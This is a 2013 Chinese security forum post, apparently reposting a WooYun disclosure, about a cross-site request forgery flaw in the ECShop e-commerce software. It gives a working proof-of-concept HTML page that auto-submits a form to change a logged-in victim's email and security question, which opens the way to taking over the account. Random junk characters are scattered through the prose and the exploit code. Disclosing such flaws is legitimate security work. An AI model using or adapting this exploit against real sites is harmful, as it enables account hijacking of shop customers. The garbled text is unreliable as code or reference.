找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2181|回复: 0
打印 上一主题 下一主题

ecshop修改任意用户密码漏洞的CSRF利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-20 08:30:14 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
! }5 A. b7 y1 ^1 p7 q' vecshop在设计认证机制的时候存在一个问题,导致恶意用户可以窃取其他用户的密码,这个过程可以通过xss和csrf实现
( e# C. H+ f! d; s2 e
2 u5 D, u  v; L- @; w0 |0 jDemo For:http://www.wooyun.org/bug.php?action=view&id=395. E5 F7 J& Z/ r4 t+ m
+ j& w+ v9 o# [' i, f+ S( x: x: N
详细说明:
/ [4 ?$ ?- |$ e; g" Z! ]利用csrf和xss可以突破官方所说的“障碍”* p' b1 P6 B5 t$ D
xss版本已经有人说明2 ]4 T% x! [1 n5 \
这里给出csrf版本) Q9 n2 p1 l# [- J
* c9 h2 Y6 a5 Q& b; _# x" F; c9 q
漏洞证明:7 v7 k8 A9 C3 n8 B
<html>
0 S9 F: I. k9 i6 Q<body>( D6 ]* x0 ~7 I1 n5 D, A- O) r! n
<form action="http://www.wooyun.org/ecshop/user.php" method="POST">% e& G7 [) z) }" p+ L
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">/ E/ j; V3 J$ p1 ~7 m, j) K- N
<INPUT TYPE="text" NAME="act" value="act_edit_profile">( i( w, p' c" {) P
<INPUT TYPE="text" NAME="sel_question" value="ecshop">: y' R# H# z) P0 b7 ?2 ]
<INPUT TYPE="text" NAME="passwd_answer" value="exploit">
  n! H4 ]7 u. C. F</body>8 E9 V% j" @9 R3 M- J# N- g* C
<script>
8 N9 g$ k1 ?7 j; \0 Y, Z* ddocument.forms[0].submit();6 |8 U6 Y: K# \3 o. {/ z" ~
</script>
% W% ]7 w1 H1 v- h- v& Q; _</html>+ U# d9 p7 g+ b& y
构造该网页,用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失
- q5 g5 f6 l" [* ]
# m! c! v1 t. V( S% O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表